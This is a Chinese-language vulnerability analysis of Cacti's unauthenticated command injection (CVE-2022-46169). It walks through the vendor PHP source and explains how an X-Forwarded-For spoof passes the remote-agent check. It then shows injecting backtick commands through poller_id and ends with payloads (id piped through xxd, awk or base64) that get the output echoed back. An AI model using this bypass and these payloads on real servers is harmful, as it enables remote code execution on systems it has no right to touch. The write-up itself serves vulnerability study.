> 技术文档 > Cacti 前台命令注入漏洞(CVE-2022-46169)

Cacti 前台命令注入漏洞(CVE-2022-46169)

部署环境:我是通过docker直接部署的。

 这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

 

分析代码 

在绕过的第一步就是绕过 

if (!remote_client_authorized()) {

    print \'FATAL: You are not authorized to use this service\';

    exit;

}

如果这个函数返回false就会进入这个if语句里面然后直接退出,所以我们需要这个函数返回的值为ture。

remote_client_authorized()

function remote_client_authorized() {global $poller_db_cnn_id;/* don\'t allow to run from the command line */$client_addr = get_client_addr();if ($client_addr === false) {return false;}if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {cacti_log(\'ERROR: Invalid remote agent client IP Address. Exiting\');return false;}$client_name = gethostbyaddr($client_addr);if ($client_name == $client_addr) {cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM);} else {$client_name = remote_agent_strip_domain($client_name);}$pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id);if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) {return true;} elseif ($poller[\'hostname\'] == $client_addr) {return true;}}}cacti_log(\"Unauthorized remote agent access attempt from $client_name ($client_addr)\");return false;}

在这段代码中首先会获取一个全局的poller_db_cnn_id

然后获取get_client_addr():客户端的ip(我们可以通过X-ForWarded-for来进行修改)

    if ($client_addr === false) {

        return false;

    }判断是不是存在?

    if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {

        cacti_log(\'ERROR: Invalid remote agent client IP Address.  Exiting\');

        return false;

    }判断是不是正确的一个IP

     $client_name = gethostbyaddr($client_addr);获取ip的name

if ($client_name == $client_addr) {

        cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM);

    } else {

        $client_name = remote_agent_strip_domain($client_name);

    }

判断client_name与alient_addr是否相等

其中有一个判断函数remote_agent_strip_domain

如果是相当的就会拼接NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM

不相等就会改变$client的值通过remote_agent_strip_domain

remote_agent_strip_domain 

这就是remote_agent_strip_domain函数 

function remote_agent_strip_domain($host) {

    if (strpos($host, \'.\') !== false) {

        $parts = explode(\'.\', $host);

        return $parts[0];

    } else {

        return $host;

    }

}

它就是用来判断这个host是否有字符.如果有就是返回第一个(如127.0.0.1)返回127

    $pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id);

它是用来获取数据库中的poller表

我们来看看获取的是什么 

    if (cacti_sizeof($pollers)) {

        foreach($pollers as $poller) {

            if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) {

                return true;

            } elseif ($poller[\'hostname\'] == $client_addr) {

                return true;

            }

        }

判断$pollers是否获取到值,然后循环的来判断使用到了remote_agent_strip_domain函数然后来判断$client_nname是否等于hostname,第二个if条件是$poller[\'hostname\']是否等于$client_addr(ip)如果满足其中任意一个条件就可以跳出继续执行。

我通过print_r的方式来打印出关键的数据如

$client_addr

$client_name 

通过抓包的方式来进行查看

抓包的时候出现了一点问题。在我细心的查看之后发现我在get传入参数的时候在HTTP/1.1的签名多敲了一些空格,所以导致失败。

这下就打印出了$client_addr和$client_name

可以看出他们的值分别为:127.0.0.1和localhost所以可以得出返回的true,所以绕过了第一个,程序可以接着进行。

下一步

switch (get_request_var(\'action\')) {case \'polldata\':// Only let realtime polling run for a short timeini_set(\'max_execution_time\', read_config_option(\'script_timeout\'));debug(\'Start: Poling Data for Realtime\');poll_for_data();debug(\'End: Poling Data for Realtime\');break;case \'runquery\':debug(\'Start: Running Data Query\');run_remote_data_query();debug(\'End: Running Data Query\');break;case \'ping\':debug(\'Start: Pinging Device\');ping_device();debug(\'End: Pinging Device\');break;case \'snmpget\':debug(\'Start: Performing SNMP Get Request\');get_snmp_data();debug(\'End: Performing SNMP Get Request\');break;case \'snmpwalk\':debug(\'Start: Performing SNMP Walk Request\');get_snmp_data_walk();debug(\'End: Performing SNMP Walk Request\');break;case \'graph_json\':debug(\'Start: Performing Graph Request\');get_graph_data();debug(\'End: Performing Graph Request\');break;case \'discover\':debug(\'Start:Performing Network Discovery Request\');run_remote_discovery();debug(\'End:Performing Network Discovery Request\');break;default:if (!api_plugin_hook_function(\'remote_agent\', get_request_var(\'action\'))) {debug(\'WARNING: Unknown Agent Request\');print \'Unknown Agent Request\';}}

然后就是通过swith来接收参数action

当cation为polldata的时候进入第一个case在这一case中有一个函数叫poll_for_data

poll_for_data 

function poll_for_data() {global $config;$local_data_ids = get_nfilter_request_var(\'local_data_ids\');$host_id = get_filter_request_var(\'host_id\');$poller_id = get_nfilter_request_var(\'poller_id\');$return = array();$i = 0;if (cacti_sizeof($local_data_ids)) {foreach($local_data_ids as $local_data_id) {input_validate_input_number($local_data_id);$items = db_fetch_assoc_prepared(\'SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?\',array($host_id, $local_data_id));$script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2\',array($host_id, $local_data_id));if (cacti_sizeof($items)) {foreach($items as $item) {switch ($item[\'action\']) {case POLLER_ACTION_SNMP: /* snmp */if (($item[\'snmp_version\'] == 0) || (($item[\'snmp_community\'] == \'\') && ($item[\'snmp_version\'] != 3))) {$output = \'U\';} else {$host = db_fetch_row_prepared(\'SELECT ping_retries, max_oids FROM host WHERE hostname = ?\', array($item[\'hostname\']));$session = cacti_snmp_session($item[\'hostname\'], $item[\'snmp_community\'], $item[\'snmp_version\'],$item[\'snmp_username\'], $item[\'snmp_password\'], $item[\'snmp_auth_protocol\'], $item[\'snmp_priv_passphrase\'],$item[\'snmp_priv_protocol\'], $item[\'snmp_context\'], $item[\'snmp_engine_id\'], $item[\'snmp_port\'],$item[\'snmp_timeout\'], $host[\'ping_retries\'], $host[\'max_oids\']);if ($session === false) {$output = \'U\';} else {$output = cacti_snmp_session_get($session, $item[\'arg1\']);$session->close();}if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}}$return[$i][\'value\'] = $output;$return[$i][\'rrd_name\'] = $item[\'rrd_name\'];$return[$i][\'local_data_id\'] = $local_data_id;break;case POLLER_ACTION_SCRIPT: /* script (popen) */$output = trim(exec_poll($item[\'arg1\']));if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}$return[$i][\'value\'] = $output;$return[$i][\'rrd_name\'] = $item[\'rrd_name\'];$return[$i][\'local_data_id\'] = $local_data_id;break;case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */$cactides = array(0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to2 => array(\'pipe\', \'w\') // stderr is a pipe to write to);if (function_exists(\'proc_open\')) {$cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;} else {$using_proc_function = false;}if ($using_proc_function == true) {$output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}} else {$output = \'U\';}$return[$i][\'value\'] = $output;$return[$i][\'rrd_name\'] = $item[\'rrd_name\'];$return[$i][\'local_data_id\'] = $local_data_id;if (($using_proc_function == true) && ($script_server_calls > 0)) {/* close php server process */fwrite($pipes[0], \"quit\\r\\n\");fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);$return_value = proc_close($cactiphp);}break;}$i++;}}}}print json_encode($return);}

$local_data_ids = get_nfilter_request_var(\'local_data_ids\');

    $host_id        = get_filter_request_var(\'host_id\');

    $poller_id      = get_nfilter_request_var(\'poller_id\');

    $return         = array();

在这个函数中要先从请求中获取三个参数:$local_data_ids、$host_id、$poller_id

他们都是通过get或者request获取。然后设置$return为数组。

 我们传入的$local_dada_ids是[0]=6然后$host_id=1

if (cacti_sizeof($local_data_ids)) {      //判断是否有值

        foreach($local_data_ids as $local_data_id) {     //通过for循环取出$loacl_data_ids:6

            input_validate_input_number($local_data_id);    //判断是不是数字(1肯定是数字)

            $items = db_fetch_assoc_prepared(\'SELECT *

                FROM poller_item

                WHERE host_id = ?

                AND local_data_id = ?\',

                array($host_id, $local_data_id));

//我们看一下这个究竟查询的是什么?$items的值为:

            $script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*)

                FROM poller_item

                WHERE host_id = ?

                AND local_data_id = ?

                AND action = 2\',

                array($host_id, $local_data_id));

$script_server_calls的值为:

 

这段代码就是判断之前接收的$items判断是不是存在,

然后for循环的去除$items中的值然后判断其中的action的值是什么,action的值为2

所以在下面的case中就是执行第三个(0、1、2)

case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */$cactides = array(0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to2 => array(\'pipe\', \'w\') // stderr is a pipe to write to);if (function_exists(\'proc_open\')) {$cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;} else {$using_proc_function = false;}if ($using_proc_function == true) {$output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}} else {$output = \'U\';}$return[$i][\'value\'] = $output;$return[$i][\'rrd_name\'] = $item[\'rrd_name\'];$return[$i][\'local_data_id\'] = $local_data_id;if (($using_proc_function == true) && ($script_server_calls > 0)) {/* close php server process */fwrite($pipes[0], \"quit\\r\\n\");fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);$return_value = proc_close($cactiphp);}break;}

$cactides = array(

                            0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from

                            1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to

                            2 => array(\'pipe\', \'w\')  // stderr is a pipe to write to

                        );

管道输入:

0---标准输入

1---标志输出

2---标志错误输出

 然后判断proc_open是否为空

$cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);

//

函数read_config_option()

function read_config_option($config_name, $force = false) {global $config, $database_hostname, $database_default, $database_port, $database_sessions;$loaded = false;if ($config[\'is_web\']) {$sess = true;if (isset($_SESSION[\'sess_config_array\'][$config_name])) {$loaded = true;}} else {$sess = false;if (isset($config[\'config_options_array\'][$config_name])) {$loaded = true;}}if (!empty($config[\'DEBUG_READ_CONFIG_OPTION\'])) {file_put_contents(sys_get_temp_dir() . \'/cacti-option.log\', get_debug_prefix() . cacti_debug_backtrace($config_name, false, false, 0, 1) . \"\\n\", FILE_APPEND);}// Do we have a value already stored in the array, or// do we want to make sure we have the latest value// from the database?if (!$loaded || $force) {// We need to check against the DB, but lets assume default value// unless we can actually read the DB$value = read_default_config_option($config_name);if (!empty($config[\'DEBUG_READ_CONFIG_OPTION\'])) {file_put_contents(sys_get_temp_dir() . \'/cacti-option.log\', get_debug_prefix() .\" $config_name: \" .\' dh: \' . isset($database_hostname) .\' dp: \' . isset($database_port) .\' dd: \' . isset($database_default) .\' ds: \' . isset($database_sessions[\"$database_hostname:$database_port:$database_default\"]) .\"\\n\", FILE_APPEND);if (isset($database_hostname) && isset($database_port) && isset($database_default)) {file_put_contents(sys_get_temp_dir() . \'/cacti-option.log\', get_debug_prefix() .\" $config_name: [$database_hostname:$database_port:$database_default]\\n\", FILE_APPEND);}}// Are the database variables set, and do we have a connection??// If we don\'t, we\'ll only use the default value without storing// so that we can read the database version later.if (isset($database_hostname) && isset($database_port) && isset($database_default) && isset($database_sessions[\"$database_hostname:$database_port:$database_default\"])) {// Get the database setting$db_result = db_fetch_row_prepared(\'SELECT value FROM settings WHERE name = ?\', array($config_name));if (cacti_sizeof($db_result)) {$value = $db_result[\'value\'];}// Store whatever value we have in the arrayif ($sess) {if (!isset($_SESSION[\'sess_config_array\']) || !is_array($_SESSION[\'sess_config_array\'])) {$_SESSION[\'sess_config_array\'] = array();}$_SESSION[\'sess_config_array\'][$config_name] = $value;} else {if (!isset($config[\'config_options_array\']) || !is_array($config[\'config_options_array\'])) {$config[\'config_options_array\'] = array();}$config[\'config_options_array\'][$config_name] = $value;}}} else {// We already have the value stored in the array and// we don\'t want to force a db read, so use the cached// versionif ($sess) {$value = $_SESSION[\'sess_config_array\'][$config_name];} else {$value = $config[\'config_options_array\'][$config_name];}}return $value;}

用来获取php代码执行路径想让它去执行,然后进行拼接列如:

拼接-p 

$config[\'base_path\']//用来获取根路径

拼接/script_server.php 传入的是 (realtime)

再拼接$poller_id, $cactides, $pipes

如(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)

命令执行先执行/usr/local/bin/php -q script_server.php realtime

再执行(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)

但是没有返回

$output = fgets($pipes[1], 1024); //$output取值就是标志输出1024(第一行)

$using_proc_function = true;    返回true

当proc_open不存在的时候$using_proc_function返回false

最终 $return[$i][\'value\']         = $output;

output赋值给return

最后json字符串的encode

print json_encode($return);

但是我们这个命令行肯定是大于一行的所以没有回显。

怎么样才会有回显

当$using_proc_function为true时会进入if语句

if ($using_proc_function == true) {$output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}} else {$output = \'U\';}

对output进行了一个拼接

里面有一个函数read_config_option

read_config_option

unction exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) {global $config;$output = \'\';/* execute using php process */if ($using_proc_function == 1) {if (is_resource($proc_fd)) {/* $pipes now looks like this: * 0 => writeable handle connected to child stdin * 1 => readable handle connected to child stdout * 2 => any error output will be sent to child stderr *//* send command to the php server */fwrite($pipes[0], $command . \"\\r\\n\");fflush($pipes[0]);$output = fgets($pipes[1], 8192);if (substr_count($output, \'ERROR\') > 0) {$output = \'U\';}}/* execute the old fashion way */} else {/* formulate command */$command = read_config_option(\'path_php_binary\') . \' \' . $command;if (function_exists(\'popen\')) {if ($config[\'cacti_server_os\'] == \'unix\') {$fp = popen($command, \'r\');} else {$fp = popen($command, \'rb\');}/* return if the popen command was not successful */if (!is_resource($fp)) {cacti_log(\'WARNING; Problem with POPEN command.\', false, \'POLLER\');return \'U\';}$output = fgets($fp, 8192);pclose($fp);} else {$output = `$command`;}}return $output;}

因为传入的$using_proc_function是true所以$using_proc_function的值是1

直接进入

if (is_resource($proc_fd)) {/* $pipes now looks like this: * 0 => writeable handle connected to child stdin * 1 => readable handle connected to child stdout * 2 => any error output will be sent to child stderr *//* send command to the php server */fwrite($pipes[0], $command . \"\\r\\n\");fflush($pipes[0]);$output = fgets($pipes[1], 8192);if (substr_count($output, \'ERROR\') > 0) {$output = \'U\';}}

判断 $proc_fd也就是传入的$cactiphp也就是刚才拼接的

(/usr/local/bin/php -q script_server.php realtime `touch /tmp/success`)其中也有传入的id

output其中不出错,这时候返回的output是8行(8192)

if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = \'U\';}

我需要绕过这个if不然output的值就会变成U失去回显的8行

查看其中的函数prepare_validate_result

prepare_validate_result

function prepare_validate_result(&$result) {/* first trim the string */$result = trim($result, \"\'\\\"\\n\\r\");/* clean off ugly non-numeric data */if (is_numeric($result)) {dsv_log(\'prepare_validate_result\',\'data is numeric\');return true;} elseif ($result == \'U\') {dsv_log(\'prepare_validate_result\', \'data is U\');return true;} elseif (is_hexadecimal($result)) {dsv_log(\'prepare_validate_result\', \'data is hex\');return hexdec($result);} elseif (substr_count($result, \':\') || substr_count($result, \'!\')) {/* looking for name value pairs */if (substr_count($result, \' \') == 0) {dsv_log(\'prepare_validate_result\', \'data has no spaces\');return true;} else {$delim_cnt = 0;if (substr_count($result, \':\')) {$delim_cnt = substr_count($result, \':\');} elseif (strstr($result, \'!\')) {$delim_cnt = substr_count($result, \'!\');}$space_cnt = substr_count(trim($result), \' \');dsv_log(\'prepare_validate_result\', \"data has $space_cnt spaces and $delim_cnt fields which is \" . (($space_cnt+1 == $delim_cnt) ? \'NOT \' : \'\') . \' okay\');return ($space_cnt+1 == $delim_cnt);}} else {$result = strip_alpha($result);if ($result === false) {$result = \'U\';return false;} else {return true;}}}

先做了一个换行符的一个去掉,判断字符串是数字,字符,十六进制?为十六进制的时候直接返回输出。

substr_count($result, \':\') || substr_count($result, \'!\')

如果任意一边的表达式结果为\"真\"(非零),整个表达式就返回 true

下面的if语句判断这个字符串是否有空格如果没有就直接返回ture直接绕过

只要返回ture那么就是绕过了

函数is_hexadecimal

is_hexadecimal()

function is_hexadecimal($result) {$hexstr = str_replace(array(\' \', \'-\'), \':\', trim($result));$parts = explode(\':\', $hexstr);foreach($parts as $part) {if (strlen($part) != 2) {return false;}if (ctype_xdigit($part) == false) {return false;}}return true;}

将空格分号都替换成了\" : \",而且是两个两个的如(12:34:56:78)

答案

id | xxd -p -c 1|awk \'{printf \\ \"%s \\\", $0}\'\";解决十六进制\" : \"的

id | base64 -w0\";

id | base64 -w0|awk -v OPS=\':\' \'{print $0}\'\";

 完成